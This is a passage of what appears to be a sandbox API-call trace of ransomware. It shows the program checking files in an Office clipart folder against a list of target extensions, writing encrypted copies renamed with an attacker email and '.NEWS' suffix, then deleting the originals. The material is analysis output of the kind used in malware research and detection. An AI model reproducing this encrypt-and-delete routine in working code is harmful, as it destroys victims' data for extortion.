out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x6e34, lpOverlapped=0x0) returned 1 [0164.255] WriteFile (in: hFile=0x504, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x6e40, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x6e40, lpOverlapped=0x0) returned 1 [0164.257] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.257] WriteFile (in: hFile=0x504, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.257] SetEndOfFile (hFile=0x504) returned 1 [0164.257] CloseHandle (hObject=0x504) returned 1 [0164.257] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.257] SetEndOfFile (hFile=0x4e4) returned 1 [0164.264] CloseHandle (hObject=0x4e4) returned 1 [0164.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090149.wmf")) returned 1 [0164.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.265] lstrlenW (lpString=".doc") returned 4 [0164.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.265] lstrlenW (lpString=".docx") returned 5 [0164.265] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.265] lstrlenW (lpString=".pdf") returned 4 [0164.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.265] lstrlenW (lpString=".xls") returned 4 [0164.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.265] lstrlenW (lpString=".xlsx") returned 5 [0164.265] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.266] lstrlenW (lpString=".ppt") returned 4 [0164.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString=".zip") returned 4 [0164.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.266] lstrlenW (lpString=".rar") returned 4 [0164.266] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString=".bz2") returned 4 [0164.266] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString=".7z") returned 3 [0164.266] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString=".dbf") returned 4 [0164.266] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString=".1cd") returned 4 [0164.266] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString=".jpg") returned 4 [0164.266] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.266] lstrlenW (lpString=".doc") returned 4 [0164.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.266] lstrlenW (lpString=".docx") returned 5 [0164.266] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0164.267] lstrlenW (lpString=".pdf") returned 4 [0164.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString=".xls") returned 4 [0164.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.267] lstrlenW (lpString=".xlsx") returned 5 [0164.267] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0164.267] lstrlenW (lpString=".ppt") returned 4 [0164.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.267] lstrlenW (lpString=".zip") returned 4 [0164.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.267] lstrlenW (lpString=".rar") returned 4 [0164.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString=".bz2") returned 4 [0164.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString=".7z") returned 3 [0164.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.267] lstrlenW (lpString=".dbf") returned 4 [0164.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.267] lstrlenW (lpString=".1cd") returned 4 [0164.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090149.WMF") returned 68 [0164.267] lstrlenW (lpString=".jpg") returned 4 [0164.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.268] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.268] lstrlenW (lpString="J0090390.WMF") returned 12 [0164.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.268] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=17638) returned 1 [0164.268] CloseHandle (hObject=0x4e4) returned 1 [0164.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 0x220 [0164.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0164.270] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.270] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0164.271] GetLastError () returned 0x0 [0164.271] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x44e6, lpOverlapped=0x0) returned 1 [0164.650] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x44f0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x44f0, lpOverlapped=0x0) returned 1 [0164.734] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.734] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.734] SetEndOfFile (hFile=0x51c) returned 1 [0164.735] CloseHandle (hObject=0x51c) returned 1 [0164.735] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.735] SetEndOfFile (hFile=0x4e4) returned 1 [0164.743] CloseHandle (hObject=0x4e4) returned 1 [0164.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090390.wmf")) returned 1 [0164.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.744] lstrlenW (lpString=".doc") returned 4 [0164.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.744] lstrlenW (lpString=".docx") returned 5 [0164.744] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0164.744] lstrlenW (lpString=".pdf") returned 4 [0164.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.744] lstrlenW (lpString=".xls") returned 4 [0164.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.745] lstrlenW (lpString=".xlsx") returned 5 [0164.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0164.745] lstrlenW (lpString=".ppt") returned 4 [0164.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.745] lstrlenW (lpString=".zip") returned 4 [0164.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.745] lstrlenW (lpString=".rar") returned 4 [0164.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString=".bz2") returned 4 [0164.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString=".7z") returned 3 [0164.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.745] lstrlenW (lpString=".dbf") returned 4 [0164.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.745] lstrlenW (lpString=".1cd") returned 4 [0164.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.745] lstrlenW (lpString=".jpg") returned 4 [0164.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.746] lstrlenW (lpString=".doc") returned 4 [0164.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString=".docx") returned 5 [0164.746] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0164.746] lstrlenW (lpString=".pdf") returned 4 [0164.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString=".xls") returned 4 [0164.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0164.746] lstrlenW (lpString=".xlsx") returned 5 [0164.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0164.746] lstrlenW (lpString=".ppt") returned 4 [0164.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.746] lstrlenW (lpString=".zip") returned 4 [0164.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0164.746] lstrlenW (lpString=".rar") returned 4 [0164.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString=".bz2") returned 4 [0164.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString=".7z") returned 3 [0164.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.746] lstrlenW (lpString=".dbf") returned 4 [0164.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.746] lstrlenW (lpString=".1cd") returned 4 [0164.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0164.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090390.WMF") returned 68 [0164.747] lstrlenW (lpString=".jpg") returned 4 [0164.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0164.747] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0164.747] lstrlenW (lpString="J0099145.JPG") returned 12 [0164.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0164.760] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=24759) returned 1 [0164.760] CloseHandle (hObject=0x53c) returned 1 [0164.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0164.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0164.761] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.762] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0164.762] GetLastError () returned 0x0 [0164.762] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0164.765] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0164.767] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.767] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0164.767] SetEndOfFile (hFile=0x51c) returned 1 [0164.767] CloseHandle (hObject=0x51c) returned 1 [0164.767] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.767] SetEndOfFile (hFile=0x53c) returned 1 [0164.770] CloseHandle (hObject=0x53c) returned 1 [0164.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0164.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.771] lstrlenW (lpString=".doc") returned 4 [0164.771] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.771] lstrlenW (lpString=".docx") returned 5 [0164.771] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.771] lstrlenW (lpString=".pdf") returned 4 [0164.771] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.771] lstrlenW (lpString=".xls") returned 4 [0164.771] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.771] lstrlenW (lpString=".xlsx") returned 5 [0164.771] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.771] lstrlenW (lpString=".ppt") returned 4 [0164.772] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString=".zip") returned 4 [0164.772] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.772] lstrlenW (lpString=".rar") returned 4 [0164.772] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.772] lstrlenW (lpString=".bz2") returned 4 [0164.772] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.772] lstrlenW (lpString=".7z") returned 3 [0164.772] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString=".dbf") returned 4 [0164.772] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString=".1cd") returned 4 [0164.772] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString=".jpg") returned 4 [0164.772] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.772] lstrlenW (lpString=".doc") returned 4 [0164.772] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0164.772] lstrlenW (lpString=".docx") returned 5 [0164.772] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0164.772] lstrlenW (lpString=".pdf") returned 4 [0164.772] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0164.772] lstrlenW (lpString=".xls") returned 4 [0164.772] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0164.772] lstrlenW (lpString=".xlsx") returned 5 [0164.772] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0164.772] lstrlenW (lpString=".ppt") returned 4 [0164.772] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0164.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.773] lstrlenW (lpString=".zip") returned 4 [0164.773] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0164.773] lstrlenW (lpString=".rar") returned 4 [0164.773] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0164.773] lstrlenW (lpString=".bz2") returned 4 [0164.773] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0164.773] lstrlenW (lpString=".7z") returned 3 [0164.773] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0164.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.773] lstrlenW (lpString=".dbf") returned 4 [0164.773] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0164.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.773] lstrlenW (lpString=".1cd") returned 4 [0164.773] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0164.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0164.773] lstrlenW (lpString=".jpg") returned 4 [0164.773] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0164.773] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0164.773] lstrlenW (lpString="J0099146.WMF") returned 12 [0164.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0164.774] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=16596) returned 1 [0164.774] CloseHandle (hObject=0x53c) returned 1 [0164.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0164.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0164.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0164.775] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.775] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0164.776] GetLastError () returned 0x0 [0164.776] ReadFile (in: hFile=0x53c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0164.779] WriteFile (in: hFile=0x51c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x40e0, 